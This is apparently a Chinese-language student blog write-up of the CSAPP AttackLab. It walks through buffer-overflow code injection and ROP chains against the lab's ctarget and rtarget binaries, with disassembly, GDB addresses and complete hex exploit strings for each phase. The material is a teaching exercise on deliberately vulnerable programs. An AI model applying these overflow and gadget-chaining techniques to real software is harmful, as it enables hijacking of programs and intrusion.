本篇博客将会介绍 CSAPP 之 AttackLab 的攻击过程,利用缓冲区溢出错误进行代码注入攻击和 ROP 攻击。实验提供了以下几个文件,其中 ctarget
可执行文件用来进行代码注入攻击,rtarget
用来进行 ROP 攻击。
每种攻击都有等级之分,如下表所示。
阶段 | 程序 | 等级 | 攻击方法 | 函数 | 分值 |
---|---|---|---|---|---|
1 | ctarget | 1 | CI | touch1 | 10 |
2 | ctarget | 2 | CI | touch2 | 25 |
3 | ctarget | 3 | CI | touch3 | 25 |
4 | rtarget | 2 | ROP | touch2 | 35 |
5 | rtarget | 3 | ROP | touch3 | 5 |
在 ctarget
中,test
函数内部调用了 getbuf
函数,代码如下所示:
void test() { int val; val = getbuf(); printf("No exploit. Getbuf returned 0x%xn", val); }
其中 getbuf
函数会分配缓冲区大小,并调用 Gets
函数读取用户输入的字符串:
unsigned getbuf() { char buf[BUFFER_SIZE]; Gets(buf); return 1; }
此处 BUFFER_SIZE
需要从汇编代码中获取。level 1 要求攻击者输入一段足够长的字符串,覆盖 test
栈帧中保存的返回地址,使得从 getbuf
返回之后不是继续执行 test
函数的最后一行,而是从 touch1
的第一行开始执行,touch1
的代码如下所示:
void touch1() { vlevel = 1; /* Part of validation protocol */ printf("Touch1!: You called touch1()n"); validate(1); exit(0); }
为了确定字符串的长度和内容,需要分析一下 ctarget
的汇编代码,objdump -d ctarget > ctarget.asm
可以将 ctarget
的汇编代码写入文件。其中 torch1
的代码如下所示:
00000000004017c0 <touch1>: 4017c0: 48 83 ec 08 sub $0x8,%rsp 4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel> 4017cb: 00 00 00 4017ce: bf c5 30 40 00 mov $0x4030c5,%edi 4017d3: e8 e8 f4 ff ff callq 400cc0 <puts@plt> 4017d8: bf 01 00 00 00 mov $0x1,%edi 4017dd: e8 ab 04 00 00 callq 401c8d <validate> 4017e2: bf 00 00 00 00 mov $0x0,%edi 4017e7: e8 54 f6 ff ff callq 400e40 <exit@plt>
由此可知,攻击者需要将返回地址修改为 0x4017c0
才能完成 level 1。而 getbuf
的代码如下所示:
00000000004017a8 <getbuf>: 4017a8: 48 83 ec 28 sub $0x28,%rsp 4017ac: 48 89 e7 mov %rsp,%rdi 4017af: e8 8c 02 00 00 callq 401a40 <Gets> 4017b4: b8 01 00 00 00 mov $0x1,%eax 4017b9: 48 83 c4 28 add $0x28,%rsp 4017bd: c3 retq 4017be: 90 nop 4017bf: 90 nop
可以看到,栈指针减小了 0x28 也就是 40,说明缓冲区的大小为 40 个字节。一旦字符串的长度(包括结束符)大于 40,就会覆盖返回地址。字符串的前 40 个字符任意,第 41、42 和 43 个字符的十六进制值必须是 C0
、17
和 40
,才能将返回地址修改为 0x4017c0
。修改前后的栈如下图所示:
由于 C0
和 17
对应的字符打不出来,所以创建一个文件 exploit.txt
,在里面写入 40 个 30
(30 之间要有空格隔开)加上 c0 17 40 00
,这里加上 00
是必须的(作为结束符),之后使用 hex2raw
将 exploit.txt
中的十六进制数转为字符串并作为 ctarget
的输入,结果如下图所示:
可以看到程序确实跳转到了 touch1
函数,攻击成功( ̄︶ ̄)↗ 。
level 2 要求跳转到 touch2
函数,且执行 if 分支,touch2
的代码如下所示:
void touch2(unsigned val) { vlevel = 2; /* Part of validation protocol */ if (val == cookie) { printf("Touch2!: You called touch2(0x%.8x)n", val); validate(2); } else { printf("Misfire: You called touch2(0x%.8x)n", val); fail(2); } exit(0); }
也就是说需要在跳转到 touch2
之前使用注入的指令,将 %rdi
的值修改为 cookie
(本次实验的 cookie
为 0x59b997fa
)。要想让输入的指令生效,需要将 getbuf
的返回地址修改为 buf
的起始地址,这样执行 ret
之后会将 M[%rsp]
送到 %rip
中,下次就不会从 Text 区取指令了,而是从 stack 里面取指令(此处就是缓冲区)。原理如下图所示:
上图中的 B
代表缓冲区的起始地址,使用 GDB 可以拿到这个地址为 0x5561dc78
:
为了实现 %rdi
的修改和 touch2
的跳转,可以使用如下的汇编代码实现(文件命名为 touch2.s
),ret
指令可以将 M[%rsp]
的值(此处为 touch2
的地址 0x4017ec
)送到 %rip
,使得程序回到 Text 区的 touch2
函数处执行:
mov $0x59b997fa, %edi ret
使用 gcc -c touch2.s
得到目标文件 touch2.o
,再用 objdump -d touch2.o > touch2.asm
进行反汇编,得到包含二进制编码的汇编代码:
touch2_.o: 文件格式 elf64-x86-64 Disassembly of section .text: 0000000000000000 <.text>: 0: bf fa 97 b9 59 mov $0x59b997fa,%edi 5: c3 retq
有了二进制机器指令之后,就可以得到用于攻击的字符串的十六进制值了,中间的一大串 30 用来占位:
bf fa 97 b9 59 /* mov $0x59b997fa, %edi */ c3 /* ret */ 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 78 dc 61 55 00 00 00 00 /* buf 的起始地址 */ ec 17 40 00 /* touch2 的起始地址 */
程序的执行效果如下:
发现这里虽然成功设置了 %rdi
的值为 cookie
,也跳转到了 touch2
,最终却由于 segment fault
而失败。出现这个错误的原因,是因为我们修改了 12 个字节的栈帧的内容:第一次将 8 个字节的返回地址修改为 buf
起始地址,第二次应该是修改了 launch
(调用了 test
)栈帧中保存的返回地址。为了解决这个问题,我们将汇编指令修改为:
mov $0x59b997fa, %edi pushq $0x4017ec ret
使用 pushq
指令将 touch2
的堆栈压入栈中,一样能实现跳转功能。这样就需要把字符串的十六进制值修改为:
bf fa 97 b9 59 /* mov $0x59b997fa, %edi */ 68 ec 17 40 00 /* pushq $0x4017ec */ c3 /* ret */ 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 78 dc 61 55 00 00 00 00 /* buf 的起始地址 */
程序执行效果如下,这次攻击成功了( ̄︶ ̄)↗ :
level 3 要求跳转到 touch3
函数,并且执行 if 分支,代码如下所示:
void touch3(char *sval) { vlevel = 3; /* Part of validation protocol */ if (hexmatch(cookie, sval)) { printf("Touch3!: You called touch3("%s")n", sval); validate(3); } else { printf("Misfire: You called touch3("%s")n", sval); fail(3); } exit(0); } /* Compare string to hex represention of unsigned value */ int hexmatch(unsigned val, char *sval) { char cbuf[110]; /* Make position of check string unpredictable */ char *s = cbuf + random() % 100; sprintf(s, "%.8x", val); return strncmp(sval, s, 9) == 0; }
可以看到 touch3
会使用 hexmatch
函数进行字符串匹配,此处 cookie
为 0x59b997fa
,sval
是攻击者注入的 cookie
的起始地址。hexmatch
函数将 cookie
从数字转换成了字符串 59b997fa
,也就是我们输入的 cookie
就应该是 59b997fa
,对应的十六进制为 35 39 62 39 39 37 66 61
。
由于 touch3
开头就使用了 push %rbx
,将 %rbx
的值写入了栈中,接着使用 callq
调用了 hexmatch
函数,这个操作也会把 0x401916
返回地址写入 touch3
的栈帧中。在 hexmatch
的开头,连续使用了三条 push
指令,修改了栈的内容。以上的几个操作会改变 buf
缓冲区的内容,%rsp
的变化过程如下图所示:
为了避免输入的 cookie
被覆盖掉,可以将其放在输入字符串的最后,对应的内存地址为 0x5561dc78 + 48d = 0x5561dca8
,其余部分和 level 2 相似,如下所示:
48 c7 c7 a8 dc 61 55 /* mov $0x5561dca8,%rdi */ 68 fa 18 40 00 /* pushq $0x4018fa */ c3 /* retq */ 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 78 dc 61 55 00 00 00 00 /* buf 起始地址 */ 35 39 62 39 39 37 66 61 00 /* cookie: 0x59b997fa */
攻击效果如下,pass 说明攻击成功了 ヾ(≧▽≦*)o
代码注入攻击要求能够确定缓冲区的起始地址和缓冲区中注入的代码能够被执行,如果引入栈随机化技术并限制可执行代码区域为 Text 区,代码注入攻击就不好使了,因为我们注入的代码压根就不会被执行。
虽然我们注入的代码不能被执行,但是 Text 区的代码还是可以被执行的。如果能把这些代码组合在一起,实现我们想要的功能,那么也能实现攻击目的。这时候缓冲区保存的就不是指令了,而是一条条 Text 区可以被执行的指令的地址,同时这些指令有个特点,就是后面会跟着 ret
指令,这样才能根据缓冲区中保存的指令地址接着取指。上述的攻击方式就被称为 ROP 攻击。
Level 2 要求使用 ROP
攻击跳转到 touch2
函数并执行 if 分支,并给出了下列要求:
movq
、popq
、ret
和 nop
的 gadget%rax
到 %rdi
这前八个寄存器start_farm
到 mid_farm
区间内的代码来构造 gadget并且友情提示了只要两条 gadget 就能实现攻击。我们在代码注入攻击 level 2 中注入了 mov $0x59b997fa, %edi
指令来实现 %rdi
的赋值,但是 start_farm
到 mid_farm
区间内的代码没有包含 0x59b997fa
立即数,所以这个立即数应该由攻击者输入,存在栈中。接着我们可以使用下述指令实现 %rdi
的赋值:
popq %rax movq %rax, %rdi
其中 popq %rax
对应的机器码为 58
,movq %rax, %rdi
对应的机器码为 48 89 c7
。在 start_farm
中搜索包含这个机器码,结果如下图所示。
可以看到 addval_219
和 getval_280
中的 58
后面接的不是 90
(对应 nop
指令)就是 c3
(对应 ret
指令),可以用于构造 gadget,地址为 0x4019ab
或者 0x4019cc
。而 addval_273
和 setvak_426
中的 48 89 c7
也满足条件,地址为 0x4019a2
或者 0x4019c5
。
根据上述分析,可以得到字符串的十六进制为:
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 ab 19 40 00 00 00 00 00 /* addval_219: popq %rax */ fa 97 b9 59 00 00 00 00 /* cookie: 0x59b997fa */ c5 19 40 00 00 00 00 00 /* setval_426: movq %rax, %rdi */ ec 17 40 00 00 00 00 00 /* touch2 地址 */
栈的内容如下图所示:
攻击效果如下,成功 PASS q(≧▽≦q)
Level 3 同样要求使用 ROP 攻击跳转到 touch3
并执行 if 分支,本次传递给 %rdi
的是 cookie
字符串的地址,受到栈随机化的影响,缓冲区的起始地址一直在变化,所以不能将 cookie
字符串的地址直接写入缓冲区。但是 %rsp
里面存储了地址,如果我们给这个地址加上一个偏差量,就能得到 cookie
字符串的地址了。
实现上述想法最直白的汇编代码如下所示:
movq $rsp, %rdi popq %rsi callq 0x401d6<add_xy> movq %rax, %rdi
可惜不是每一条指令的机器码都能在 start_farm
到 end_farm
之间找到并构造出 gadget,所以需要稍微绕点远路,结果如下:
movq %rsp, %rax movq %rax, %rdi popq %rax movl %eax, %edx movl %edx, %ecx movl %ecx, %esi callq 0x4019d6<add_xy> movq $rsp, %rdi
根据上述汇编代码的机器码地址可以得到输入字符串的十六进制为:
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 06 1a 40 00 00 00 00 00 /* addval_190: movq %rsp, %rax */ a2 19 40 00 00 00 00 00 /* addval_273: movq %rax, %rdi */ ab 19 40 00 00 00 00 00 /* addval_219: popq %rax */ 48 00 00 00 00 00 00 00 /* 偏移地址 */ dd 19 40 00 00 00 00 00 /* getval_481: movl %eax, %edx */ 69 1a 40 00 00 00 00 00 /* getval_311: movl %edx, %ecx */ 13 1a 40 00 00 00 00 00 /* addval_436: movl %ecx, %six */ d6 19 40 00 00 00 00 00 /* <add_xy> */ c5 19 40 00 00 00 00 00 /* setval_426: movq %rax, %rdi */ fa 18 40 00 00 00 00 00 /* touch3 地址 */ 35 39 62 39 39 37 66 61 00 /* cookie: 0x59b997fa */
最终也通过测试了 []~( ̄▽ ̄)~*:
通过这次实验,可以加深对缓冲区溢出安全问题的理解,掌握代码注入攻击和 ROP 攻击的原理,同时对 x86-64 指令的编码方式以及取指有了更好的认识,以上~~